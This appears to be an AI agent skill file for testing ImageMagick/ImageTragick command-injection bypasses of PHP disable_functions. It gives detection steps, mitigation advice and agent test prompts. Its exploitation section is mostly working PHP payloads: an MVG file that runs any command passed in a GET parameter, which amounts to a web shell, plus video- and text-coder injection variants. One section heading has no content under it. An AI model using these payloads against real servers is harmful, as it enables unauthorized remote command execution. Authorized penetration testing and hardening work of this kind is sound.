Imagick Disable Functions Bypass

ImageMagick disable_functions Bypass Testing

A security testing skill for detecting and exploiting ImageMagick/ImageTragick vulnerabilities that allow command execution even when PHP's disable_functions is configured.

Overview

The ImageTragick family of vulnerabilities (CVE-2016-3714 and related) allows attackers to execute arbitrary shell commands through crafted image files when:

• PHP Imagick extension is installed
• ImageMagick backend is vulnerable (typically < 7.1.1-11 or 6.x < 6.9.12-73)
• disable_functions is configured but ImageMagick delegates are not hardened

Important: This skill is for authorized security testing only. Always have written permission before testing.

Detection Workflow

Step 1: Check PHP and Imagick Versions

# Check PHP version
php -r 'echo phpversion(), "\n";'

# Check Imagick extension and ImageMagick version
php -r 'echo Imagick::getVersion()["versionString"], "\n";'

# Check system ImageMagick version
convert -version | head -1

Step 2: Check Policy Configuration

# Check which coders are enabled/disabled
convert -list policy | grep -iE 'mvg|https|video|text|url|ps'

# If MVG, URL, VIDEO, or TEXT coders are enabled, the system may be vulnerable

Step 3: Check disable_functions Status

<?php
echo "Disable functions: " . ini_get("disable_functions") . "\n";
echo "Imagick available: " . (extension_loaded('imagick') ? 'Yes' : 'No') . "\n";
?>

Exploitation Techniques

Classic ImageTragick (CVE-2016-3714)

Works on Imagick <= 3.3.0 with vulnerable ImageMagick:

<?php
// Classic MVG payload
$cmd = $_GET['cmd'] ?? 'id';
$tmp = tempnam('/tmp', 'pwn');
$mvgs = tempnam('/tmp', 'img');

$payload = <<<EOF
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/x.jpg"|$cmd >$tmp")'
pop graphic-context
EOF;

file_put_contents($mvgs, $payload);
$img = new Imagick();
$img->readImage($mvgs);
$img->writeImage(tempnam('/tmp', 'img'));
$img->destroy();

echo file_get_contents($tmp);
?>

Modern Video Coder Variant (2023+)

Works on newer ImageMagick versions with video coder enabled:

<?php
$exp = <<<MAGICK
push graphic-context
image over 0,0 0,0 'vid:dummy.mov" -define video:pixel-format="rgba`uname -a > /tmp/pwned`" " dummy'
pop graphic-context
MAGICK;

$img = new Imagick();
$img->readImageBlob($exp);
?>

Text Coder Variant (CVE-2020-29599)

<?php
$payload = 'text:"foo"`id > /tmp/pwned`"';
$img = new Imagick();
$img->readImageBlob($payload);
?>

Common Test Commands

Use these to verify exploitation works:

Mitigation Guidance

1. Patch/Upgrade

• ImageMagick >= 7.1.1-11 (or latest 6.x LTS)
• Imagick PHP extension >= 3.7.2

2. Harden policy.xml

Edit /etc/ImageMagick-6/policy.xml or /etc/ImageMagick-7/policy.xml:

<policy domain="coder" rights="none" pattern="MVG"/>
<policy domain="coder" rights="none" pattern="MSL"/>
<policy domain="coder" rights="none" pattern="URL"/>
<policy domain="coder" rights="none" pattern="VIDEO"/>
<policy domain="coder" rights="none" pattern="PS"/>
<policy domain="coder" rights="none" pattern="TEXT"/>

3. Remove Imagick Extension

If image processing is not required, remove the extension:

# Debian/Ubuntu
sudo apt-get remove php-imagick

# RHEL/CentOS
sudo yum remove php-imagick

4. Defense in Depth

Never rely solely on disable_functions. Use:

• Proper input validation
• File upload restrictions
• Chroot jails or containers
• SELinux/AppArmor policies

Test Cases

Test Case 1: Basic Detection

Prompt: "Check if this PHP server is vulnerable to ImageMagick command injection"

Expected: Run detection workflow, check versions and policy configuration

Test Case 2: Exploitation Test

Prompt: "Test if disable_functions can be bypassed through ImageMagick on this target"

Expected: Attempt exploitation with safe test commands like id or whoami

Test Case 3: Mitigation Review

Prompt: "How do I harden ImageMagick against command injection attacks?"

Expected: Provide policy.xml configuration and upgrade guidance

References

• CVE-2016-3714 - ImageTragick
• CVE-2020-29599 - Text coder injection
• ImageMagick Issue #6338 - Video coder injection (2023)
• Original PoC - Chaitin Security Research Lab

Security Notice

This skill is for authorized security testing only.

• Always obtain written permission before testing
• Use only on systems you own or have explicit authorization to test
• Document all findings for the system owner
• Follow responsible disclosure practices